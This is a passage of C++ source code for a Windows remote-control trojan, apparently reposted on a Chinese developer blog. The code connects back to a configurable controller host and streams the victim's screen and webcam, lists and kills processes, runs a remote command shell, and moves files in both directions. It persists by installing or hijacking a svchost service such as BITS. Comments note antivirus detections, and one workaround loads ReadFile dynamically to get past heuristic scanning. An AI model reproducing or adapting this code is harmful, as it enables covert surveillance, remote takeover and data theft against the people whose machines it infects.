  364.         case CMD_FILEDRIVER://获取驱动器 
  365.             { 
  366.                 FileListDirver(chBuffer, &msgHead); 
  367.             } 
  368.             break
  369.         case CMD_FILEDIRECTORY://获取文件夹 
  370.             { 
  371.                 FileListDirectory(chBuffer, &msgHead); 
  372.             } 
  373.             break
  374.         case CMD_FILEDELETE://删除 
  375.             { 
  376.                 FileDelete(chBuffer, &msgHead); 
  377.             } 
  378.             break
  379.         case CMD_FILEEXEC://执行 
  380.             { 
  381.                 FileExec(chBuffer, &msgHead); 
  382.             } 
  383.             break
  384.         case CMD_FILEPASTE://粘贴 
  385.             { 
  386.                 FilePaste(chBuffer, &msgHead); 
  387.             } 
  388.             break
  389.         case CMD_FILERENAME://重命名 
  390.             { 
  391.                 FileReName(chBuffer, &msgHead); 
  392.             } 
  393.             break
  394.         case CMD_FILEDOWNSTART://下载开始 
  395.             { 
  396.                 FileOpt m_FileOpt; 
  397.                 memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt)); 
  398.                  
  399.                 if(CreateThread(NULL,NULL,FileDownThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL) 
  400.                     msgHead.dwCmd  = CMD_SUCCEED; 
  401.                 else 
  402.                     msgHead.dwCmd  = CMD_FAILED; 
  403.                 msgHead.dwSize = 0; 
  404.             } 
  405.             break
  406.     /*  case CMD_FILEUPSTART://上传开始
  407.             {
  408.                 FileOpt m_FileOpt;
  409.                 memcpy(&m_FileOpt,chBuffer,sizeof(m_FileOpt));
  410.                
  411.                 if(CreateThread(NULL,NULL,FileUpThread,(LPVOID)&m_FileOpt,NULL,NULL) != NULL)
  412.                     msgHead.dwCmd  = CMD_SUCCEED;
  413.                 else
  414.                     msgHead.dwCmd  = CMD_FAILED;
  415.                 msgHead.dwSize = 0;
  416.             }
  417.             break;
  418.             */ 
  419.         default
  420.             { 
  421.                 msgHead.dwCmd = CMD_INVALID; 
  422.                 msgHead.dwSize = 0; 
  423.             } 
  424.             break
  425.         } 
  426.  
  427.         //发送数据 
  428.         if(!SendMsg(FileSocket, chBuffer, &msgHead)) 
  429.             break
  430.     } 
  431.  
  432.     if(chBuffer != NULL) 
  433.         delete[] chBuffer; 
  434.  
  435.     closesocket(FileSocket); 
  436.      
  437.     return 0; 
  438. /// 
  439. DWORD _stdcall ScreenThread(LPVOID lParam) 
  440.     DWORD dwSock = (DWORD)lParam; 
  441.  
  442.     struct sockaddr_in LocalAddr; 
  443.     LocalAddr.sin_family=AF_INET; 
  444.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  445.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  446.      
  447.     //屏幕监控的socket 
  448.     SOCKET ScreenSocket = socket(AF_INET, SOCK_STREAM, 0); 
  449.     if(connect(ScreenSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  450.     { 
  451.         return 0;//connect error 
  452.     } 
  453.     else 
  454.     { 
  455.         //设置发送缓冲区,有利于屏幕传输 
  456.         int rcvbuf = 65536; //64KB 
  457.         int rcvbufsize=sizeof(int);  
  458.         setsockopt(ScreenSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);  
  459.     }   
  460.      
  461.     //稍微降低进程优先级 
  462.     SetThreadPriority( GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL ); 
  463.     //======================================================= 
  464.     MsgHead msgHead; 
  465.     int nColor = 8; 
  466.     //send socket type  
  467.     msgHead.dwCmd = SOCKET_SCREEN; 
  468.     msgHead.dwSize = 0; 
  469.     msgHead.dwExtend1 = dwSock; 
  470.     if(!SendMsg(ScreenSocket, NULL, &msgHead) || 
  471.        !RecvMsg(ScreenSocket, NULL, &msgHead) )//Get Screen Color 
  472.     { 
  473.         closesocket(ScreenSocket); 
  474.         return 0;//send socket type error 
  475.     } 
  476.     else 
  477.     { 
  478.         nColor = msgHead.dwExtend1; 
  479.     } 
  480.  
  481.      
  482.     XScreenXor m_ScreenXor; 
  483.     m_ScreenXor.SetColor(nColor);//设置位图颜色 
  484.     m_ScreenXor.InitGlobalVar(); 
  485.  
  486.     msgHead.dwCmd = SOCKET_SCREEN; 
  487.     msgHead.dwSize = 0; 
  488.     msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); 
  489.     msgHead.dwExtend2 = m_ScreenXor.GetInfoSize(); 
  490.     //发送位图信息 
  491.     if (!SendMsg(ScreenSocket, NULL, &msgHead)) 
  492.     { 
  493.         closesocket(ScreenSocket); 
  494.         return 0;//send socket type error    
  495.     } 
  496.  
  497.     DWORD dwFrameID = 0, dwLastSend; 
  498.     BOOL  bNotStop = TRUE; 
  499.     DWORD lenthUncompress = m_ScreenXor.GetBmpSize(); 
  500.     DWORD lenthCompress = (lenthUncompress+12)*1.1; 
  501.     BYTE* pDataCompress = new BYTE [lenthCompress]; 
  502.  
  503.     while( bNotStop ) 
  504.     { 
  505.         dwLastSend = GetTickCount(); 
  506.  
  507.         lenthCompress = (lenthUncompress+12)*1.1;                                   //这里不能少 
  508.         m_ScreenXor.CaputreFrame(dwFrameID);                                        //抓取当前帧                            
  509.         Sleep(10); 
  510.         ::compress(pDataCompress,                                                  //压缩数据 
  511.             &lenthCompress,  
  512.             m_ScreenXor.GetBmpData(), 
  513.             lenthUncompress); 
  514.  
  515.         msgHead.dwCmd     = dwFrameID++;              //当前帧号 
  516.         msgHead.dwSize    = lenthCompress;            //传输的数据长度 
  517.         msgHead.dwExtend1 = m_ScreenXor.GetBmpSize(); //原始长度 
  518.         msgHead.dwExtend2 = lenthCompress;            //压缩后长度 
  519.          
  520.         bNotStop = SendMsg(ScreenSocket, (char*)pDataCompress, &msgHead); //发送数据 
  521.  
  522.         if ((GetTickCount() - dwLastSend) < 110) 
  523.             Sleep(100); 
  524.     } 
  525.  
  526.     //释放掉掉分配的内存,句柄等等 
  527.     closesocket(ScreenSocket); 
  528.     delete [] pDataCompress; 
  529.  
  530.     return 0; 
  531.  
  532. // 
  533. //视频捕捉 
  534. DWORD _stdcall VideoThread(LPVOID lParam) 
  535.     struct sockaddr_in LocalAddr; 
  536.     LocalAddr.sin_family=AF_INET; 
  537.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  538.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  539.      
  540.     //视频捕捉的socket 
  541.     SOCKET VideoSocket = socket(AF_INET, SOCK_STREAM, 0); 
  542.     if(connect(VideoSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  543.     { 
  544.         return 0;//connect error 
  545.     } 
  546.     else 
  547.     { 
  548.         //设置发送缓冲区,有利于视频传输 
  549.         int rcvbuf = 65536; //64KB 
  550.         int rcvbufsize=sizeof(int);  
  551.         setsockopt(VideoSocket,SOL_SOCKET,SO_SNDBUF,(char*)&rcvbuf,rcvbufsize);  
  552.     }   
  553.  
  554.     //================================================================== 
  555.     MsgHead msgHead; 
  556.     //send socket type  
  557.     msgHead.dwCmd = SOCKET_VIDEOCAP; 
  558.     msgHead.dwSize = 0; 
  559.     if(!SendMsg(VideoSocket, NULL, &msgHead)) 
  560.     { 
  561.         closesocket(VideoSocket); 
  562.         return 0;//send socket type error 
  563.     } 
  564.  
  565.     /// 
  566.     //Send BITMAPINFO or error code 
  567.     if (!CVideoCap::IsWebCam())    //设备不存在或正在使用 
  568.     { 
  569.         msgHead.dwCmd = 1; 
  570.         msgHead.dwSize = 0; 
  571.         SendMsg(VideoSocket, NULL, &msgHead); 
  572.         shutdown(VideoSocket,0x02); 
  573.         closesocket(VideoSocket); 
  574.         return 1;//send socket type error 
  575.     } 
  576.      
  577.     CVideoCap m_Cap; 
  578.     if (!m_Cap.Initialize())   //设备初始化失败 
  579.     { 
  580.         msgHead.dwCmd = 2; 
  581.         msgHead.dwSize = 0; 
  582.         SendMsg(VideoSocket, NULL, &msgHead); 
  583.         shutdown(VideoSocket,0x02); 
  584.         closesocket(VideoSocket); 
  585.         return 2; 
  586.     } 
  587.  
  588.     msgHead.dwCmd  = 0; 
  589.     msgHead.dwSize = sizeof(BITMAPINFOHEADER); 
  590.     if(!SendMsg(VideoSocket, (char*)&(m_Cap.m_lpbmi->bmiHeader), &msgHead)) 
  591.     { 
  592.         closesocket(VideoSocket); 
  593.         return 3;//send socket type error                
  594.     } 
  595.  
  596.     DWORD dwFrameID = 0,dwLastSend; 
  597.     BOOL  bNotStop = TRUE; 
  598.     DWORD lenthUncompress = m_Cap.m_lpbmi->bmiHeader.biSizeImage - 5;//为啥-5?? 
  599.     DWORD lenthCompress = (lenthUncompress+12)*1.1; 
  600.     BYTE* pDataCompress = new BYTE [lenthCompress]; 
  601.  
  602.     while (bNotStop) 
  603.     { 
  604.         dwLastSend = GetTickCount();//被卡巴杀 
  605.  
  606.         lenthCompress = (lenthUncompress+12)*1.1;                   //这个不能少 
  607.         ::compress(pDataCompress,                                   //压缩数据 
  608.             &lenthCompress,  
  609.             (BYTE*)m_Cap.GetDIB(), 
  610.             lenthUncompress); 
  611.  
  612.         msgHead.dwCmd     = dwFrameID++;            //帧号 
  613.         msgHead.dwSize    = lenthCompress;          //传输的数据长度 
  614.         msgHead.dwExtend1 = lenthUncompress;        //未压缩数据长度 
  615.         msgHead.dwExtend2 = lenthCompress;          //压缩后数据长度 
  616.          
  617.         bNotStop = SendMsg(VideoSocket, (char*)pDataCompress, &msgHead); //发送数据 
  618.  
  619.         if ((GetTickCount() - dwLastSend) < 100) 
  620.             Sleep(80); 
  621.     } 
  622.  
  623.     if (pDataCompress != NULL) 
  624.         delete[] pDataCompress; 
  625.  
  626.     return 10; 
  627.  
  628. / 
  629. //进程管理线程 
  630. DWORD _stdcall ProcessThread(LPVOID lParam) 
  631.     struct sockaddr_in LocalAddr; 
  632.     LocalAddr.sin_family=AF_INET; 
  633.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  634.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  635.      
  636.     SOCKET ProcessSocket = socket(AF_INET, SOCK_STREAM, 0); 
  637.     if(connect(ProcessSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  638.     { 
  639.         closesocket(ProcessSocket); 
  640.         return 0;//connect error 
  641.     }    
  642.  
  643.     //================================================================================ 
  644.     MsgHead msgHead; 
  645.     char    chBuffer[32 * 1024]; //数据交换区 
  646.  
  647.     //send socket type  
  648.     msgHead.dwCmd = SOCKET_PROCESS; 
  649.     msgHead.dwSize = 0; 
  650.     if(!SendMsg(ProcessSocket, chBuffer, &msgHead)) 
  651.     { 
  652.         closesocket(ProcessSocket); 
  653.         return 0;//send socket type error 
  654.     } 
  655.  
  656.     while(1) 
  657.     { 
  658.         //接收命令 
  659.         if(!RecvMsg(ProcessSocket, chBuffer, &msgHead)) 
  660.             break
  661.  
  662.         //解析命令 
  663.         switch(msgHead.dwCmd) 
  664.         { 
  665.         case CMD_PROCESSLIST: 
  666.             { 
  667.                 ProcessList(chBuffer, &msgHead); 
  668.             } 
  669.             break
  670.         case CMD_PROCESSKILL: 
  671.             { 
  672.                 ProcessKill(chBuffer, &msgHead); 
  673.             } 
  674.             break
  675.         default
  676.             { 
  677.                 msgHead.dwCmd = CMD_INVALID; 
  678.                 msgHead.dwSize = 0; 
  679.             } 
  680.             break
  681.         } 
  682.  
  683.         //发送数据 
  684.         if(!SendMsg(ProcessSocket, chBuffer, &msgHead)) 
  685.             break
  686.     }    
  687.      
  688.     closesocket(ProcessSocket); 
  689.     return 0; 
  690. // 
  691. //远程shell线程 
  692. DWORD _stdcall ShellThread(LPVOID lParam) 
  693.     struct sockaddr_in LocalAddr; 
  694.     LocalAddr.sin_family=AF_INET; 
  695.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  696.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  697.      
  698.     SOCKET ShellSocket = socket(AF_INET, SOCK_STREAM, 0); 
  699.     if(connect(ShellSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  700.     { 
  701.         closesocket(ShellSocket); 
  702.         return 0;//connect error 
  703.     } 
  704.  
  705.     //==================================================================== 
  706.     MsgHead msgHead; 
  707.     char *chBuffer = new char[512 * 1024]; //数据交换区 512KB 
  708.  
  709.     //send socket type  
  710.     msgHead.dwCmd = SOCKET_CMDSHELL; 
  711.     msgHead.dwSize = 0; 
  712.     if(!SendMsg(ShellSocket, chBuffer, &msgHead)) 
  713.     { 
  714.         closesocket(ShellSocket); 
  715.         return 0;//send socket type error 
  716.     } 
  717.  
  718.     while(1) 
  719.     { 
  720.         //接收命令 
  721.         if(!RecvMsg(ShellSocket, chBuffer, &msgHead)) 
  722.             break
  723.  
  724.         //解析命令 
  725.         switch(msgHead.dwCmd) 
  726.         { 
  727.         case CMD_SHELLRUN: 
  728.             { 
  729.                 DOSShell(chBuffer, &msgHead); 
  730.             } 
  731.             break
  732.         default
  733.             break
  734.         } 
  735.  
  736.         //发送数据 
  737.         if(!SendMsg(ShellSocket, chBuffer, &msgHead)) 
  738.             break
  739.     }    
  740.  
  741.     if(chBuffer != NULL) 
  742.         delete[] chBuffer; 
  743.  
  744.     closesocket(ShellSocket); 
  745.     return 0; 
  746.  
  747. // 
  748. //文件上传下载 
  749. DWORD _stdcall FileDownThread(LPVOID lParam) 
  750.      
  751.     FileOpt m_FileOpt; 
  752.     memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt)); 
  753.  
  754.     struct sockaddr_in LocalAddr; 
  755.     LocalAddr.sin_family=AF_INET; 
  756.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  757.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  758.      
  759.     SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0); 
  760.     if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  761.     { 
  762.         closesocket(FileSocket); 
  763.         return 0;//connect error 
  764.     } 
  765.  
  766.     MsgHead msgHead; 
  767.     //send socket type  
  768.     msgHead.dwCmd = SOCKET_FILEDOWN; 
  769.     msgHead.dwSize = 0; 
  770.     if(!SendMsg(FileSocket, NULL, &msgHead)) 
  771.     { 
  772.         closesocket(FileSocket); 
  773.         return 0;//send socket type error 
  774.     } 
  775.  
  776.     // 
  777.     HANDLE hDownFile = INVALID_HANDLE_VALUE; 
  778.     DWORD  dwDownFileSize = 0, dwBytes; 
  779.     BYTE   SendBuffer[4096]; 
  780.     int nRet =0 ; 
  781.  
  782.     //get download data 
  783.     hDownFile = CreateFile(m_FileOpt.cScrFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); 
  784.     if (hDownFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR 
  785.         dwDownFileSize  = 0; 
  786.     else 
  787.         dwDownFileSize = GetFileSize(hDownFile, NULL); 
  788.  
  789.     m_FileOpt.iSize = dwDownFileSize; 
  790.     //send file message 
  791.     if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwDownFileSize <= 0) 
  792.     { 
  793.         shutdown(FileSocket,0x02); 
  794.         closesocket(FileSocket); 
  795.         return 1;//send socket type error                
  796.     } 
  797.  
  798.     //被NOD32启发杀了 
  799. //  HINSTANCE hInst; 
  800.     HINSTANCE hInst = LoadLibrary("kernel32.dll"); 
  801.     if(hInst == NULL) 
  802.     { 
  803.         closesocket(FileSocket); 
  804.         return 0;//send socket type error 
  805.     } 
  806.     typedef BOOL (WINAPI *pReadFile)( 
  807.         HANDLE hFile, 
  808.         LPVOID lpBuffer, 
  809.         DWORD nNumberOfBytesToRead, 
  810.         LPDWORD lpNumberOfBytesRead, 
  811.         LPOVERLAPPED lpOverlapped 
  812.             ); 
  813.     pReadFile MyReadFile; 
  814. //  pReadFile MyReadFile = (pReadFile)GetProcAddress(hInst, "ReadFile");     
  815.  
  816.     //循环发送文件数据 
  817.     while(dwDownFileSize > 0) 
  818.     { 
  819.         if (MyReadFile) 
  820.         { 
  821.             if( !MyReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) ) 
  822.                 break
  823.         } 
  824.         else 
  825.         { 
  826.             if( !ReadFile(hDownFile, SendBuffer, 4096, &dwBytes, NULL) ) 
  827.                 break
  828.         } 
  829.  
  830.         if( send(FileSocket, (char*)&SendBuffer, dwBytes, 0) <= 0 ) 
  831.             break
  832.         dwDownFileSize -= dwBytes; 
  833.  
  834.     } 
  835.     if (hInst) 
  836.         FreeLibrary(hInst); 
  837.     CloseHandle(hDownFile); 
  838.     shutdown(FileSocket,0x02); 
  839.     closesocket(FileSocket); 
  840.      
  841.     return 10; 
  842.  
  843. DWORD _stdcall FileUpThread(LPVOID lParam) 
  844.     FileOpt m_FileOpt; 
  845.     memcpy(&m_FileOpt,(FileOpt*)lParam,sizeof(FileOpt)); 
  846.  
  847.     struct sockaddr_in LocalAddr; 
  848.     LocalAddr.sin_family=AF_INET; 
  849.     LocalAddr.sin_port=htons(modify_data.ServerPort); 
  850.     LocalAddr.sin_addr.S_un.S_addr=resolve(modify_data.ServerAddr); 
  851.      
  852.     SOCKET FileSocket = socket(AF_INET, SOCK_STREAM, 0); 
  853.     if(connect(FileSocket,(PSOCKADDR)&LocalAddr,sizeof(LocalAddr)) == SOCKET_ERROR) 
  854.     { 
  855.         closesocket(FileSocket); 
  856.         return 0;//connect error 
  857.     } 
  858.  
  859.     int iOutTime = 60000;//60秒超时 
  860.     setsockopt(FileSocket, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOutTime, sizeof(int));  
  861.      
  862.     MsgHead msgHead; 
  863.     //send socket type  
  864.     msgHead.dwCmd = SOCKET_FILEUP; 
  865.     msgHead.dwSize = 0; 
  866.     if(!SendMsg(FileSocket, NULL, &msgHead)) 
  867.     { 
  868.         closesocket(FileSocket); 
  869.         return 0;//send socket type error 
  870.     } 
  871.  
  872.     // 
  873.     HANDLE hUpFile = INVALID_HANDLE_VALUE; 
  874.     DWORD  dwUpFileSize = 0, dwBufSize = 4096, dwBytes; 
  875.     BYTE   RecvBuffer[4096]; 
  876.     int nRet =0 ; 
  877.  
  878.     //get download data 
  879.     hUpFile = CreateFile(m_FileOpt.cScrFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); 
  880.     if (hUpFile == INVALID_HANDLE_VALUE)//CMD_READFILEEOR 
  881.         dwUpFileSize  = 0; 
  882.     else 
  883.         dwUpFileSize = 100; 
  884.  
  885.     m_FileOpt.iSize = dwUpFileSize; 
  886.     //send file message 
  887.     if(send(FileSocket, (char *)&m_FileOpt, sizeof(FileOpt), 0) <=0 || dwUpFileSize <= 0) 
  888.     { 
  889.         shutdown(FileSocket,0x02); 
  890.         closesocket(FileSocket); 
  891.         return 1;//send socket type error                
  892.     } 
  893.  
  894.     while(TRUE) 
  895.     { 
  896.         nRet = recv(FileSocket, (char*)&RecvBuffer, dwBufSize, 0);   
  897.         if (nRet <= 0) 
  898.             break
  899.         WriteFile(hUpFile, RecvBuffer, nRet, &dwBytes, NULL); 
  900.     } 
  901.  
  902.     CloseHandle(hUpFile); 
  903.     shutdown(FileSocket,0x02); 
  904.     closesocket(FileSocket); 
  905.  
  906.     return 10; 
  907.  
  908.  
  909. BOOL _stdcall Install(LPCSTR szDllPath) 
  910.     if (modify_data.bReplace) 
  911.         return ReplaceSvchostService("BITS",szDllPath); 
  912.     else 
  913.         return InstallSvchostService(modify_data.strSvrName,  
  914.                                      modify_data.strSvrDisp,  
  915.                                      modify_data.strSvrDesc, 
  916.                                      szDllPath); 
  917.  
  918. BOOL _stdcall Uninstall() 
  919.     if (modify_data.bReplace) 
  920.     { 
  921.         StopService(modify_data.strSvrName); 
  922.     } 
  923.     else 
  924.     { 
  925.         StopService(modify_data.strSvrName); 
  926.         UninstallService(modify_data.strSvrName); 
  927.     } 
  928.  
  929.     return TRUE; 
  930.  
  931. void CALLBACK RundllInstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow) 
  932.     Install(param); 
  933.  
  934. void CALLBACK RundllUninstall(HWND hwnd, HINSTANCE hinst, char *param, int nCmdShow) 
  935.     Uninstall(); 
  936.  
  937.  
  938. //Service HANDLE & STATUS used to get service state 
  939. SERVICE_STATUS_HANDLE hSrv; 
  940. DWORD dwCurrState; 
  941.  
  942. void __stdcall ServiceMain(DWORD dwArgc, wchar_t* argv[]) 
  943.     char svcname[256]; 
  944.     strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well 
  945.     wcstombs(svcname, argv[0], sizeof svcname); 
  946.  
  947.     hSrv = RegisterServiceCtrlHandler(svcname, (LPHANDLER_FUNCTION)ServiceHandler ); 
  948.      
  949.     if( hSrv == NULL ) 
  950.         return
  951.     else  
  952.         FreeConsole(); 
  953.  
  954.     TellSCM( SERVICE_START_PENDING, 0, 1 ); 
  955.     TellSCM( SERVICE_RUNNING, 0, 0 ); 
  956.          
  957.     //Run My Main Code============= 
  958.  
  959.     HANDLE hThread = CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL); 
  960.     WaitForSingleObject(hThread, INFINITE); 
  961.     CloseHandle(hThread); 
  962.  
  963.     do 
  964.     { 
  965.         Sleep(100);//not quit until receive stop command, otherwise the service will stop 
  966.     }while(dwCurrState != SERVICE_STOP_PENDING && dwCurrState != SERVICE_STOPPED); 
  967.  
  968. void __stdcall ServiceHandler( DWORD dwCommand ) 
  969.     switch( dwCommand ) 
  970.     { 
  971.     case SERVICE_CONTROL_STOP: 
  972.         TellSCM( SERVICE_STOP_PENDING, 0, 1 ); 
  973.         Sleep(10); 
  974.         TellSCM( SERVICE_STOPPED, 0, 0 ); 
  975.         break
  976.     case SERVICE_CONTROL_PAUSE: 
  977.         TellSCM( SERVICE_PAUSE_PENDING, 0, 1 ); 
  978.         TellSCM( SERVICE_PAUSED, 0, 0 ); 
  979.         break
  980.     case SERVICE_CONTROL_CONTINUE: 
  981.         TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 ); 
  982.         TellSCM( SERVICE_RUNNING, 0, 0 ); 
  983.         break
  984.     case SERVICE_CONTROL_INTERROGATE: 
  985.         TellSCM( dwCurrState, 0, 0 ); 
  986.         break
  987.     case SERVICE_CONTROL_SHUTDOWN: 
  988.         TellSCM( SERVICE_STOPPED, 0, 0 ); 
  989.         break
  990.     } 
  991.  
  992. int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress ) 
  993.       SERVICE_STATUS srvStatus; 
  994.       srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; 
  995.       srvStatus.dwCurrentState = dwCurrState = dwState; 
  996.       srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN; 
  997.       srvStatus.dwWin32ExitCode = dwExitCode; 
  998.       srvStatus.dwServiceSpecificExitCode = 0; 
  999.       srvStatus.dwCheckPoint = dwProgress; 
  1000.       srvStatus.dwWaitHint = 3000; 
  1001.       return SetServiceStatus( hSrv, &srvStatus ); 
  1002.  
  1003. BOOL APIENTRY DllMain( HINSTANCE hModule,  
  1004.                        DWORD  ul_reason_for_call,  
  1005.                        LPVOID lpReserved 
  1006.                      ) 
  1007.     switch (ul_reason_for_call) 
  1008.     { 
  1009.     case DLL_PROCESS_ATTACH: 
  1010.         g_hDllModule = (HMODULE)hModule; 
  1011.     #ifdef NETBOT_TEST 
  1012.         CreateThread(NULL,NULL,RuningThread,NULL,NULL,NULL); 
  1013.     #endif //NETBOT_TEST     
  1014.         break
  1015.     case DLL_THREAD_ATTACH: 
  1016.         break
  1017.     case DLL_THREAD_DETACH: 
  1018.         break
  1019.     case DLL_PROCESS_DETACH:         
  1020.         break
  1021.     } 
  1022.     return TRUE; 
  1023. }
  1024. 原文地址:http://blog.csdn.net/yincheng01/article/details/7214474
  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值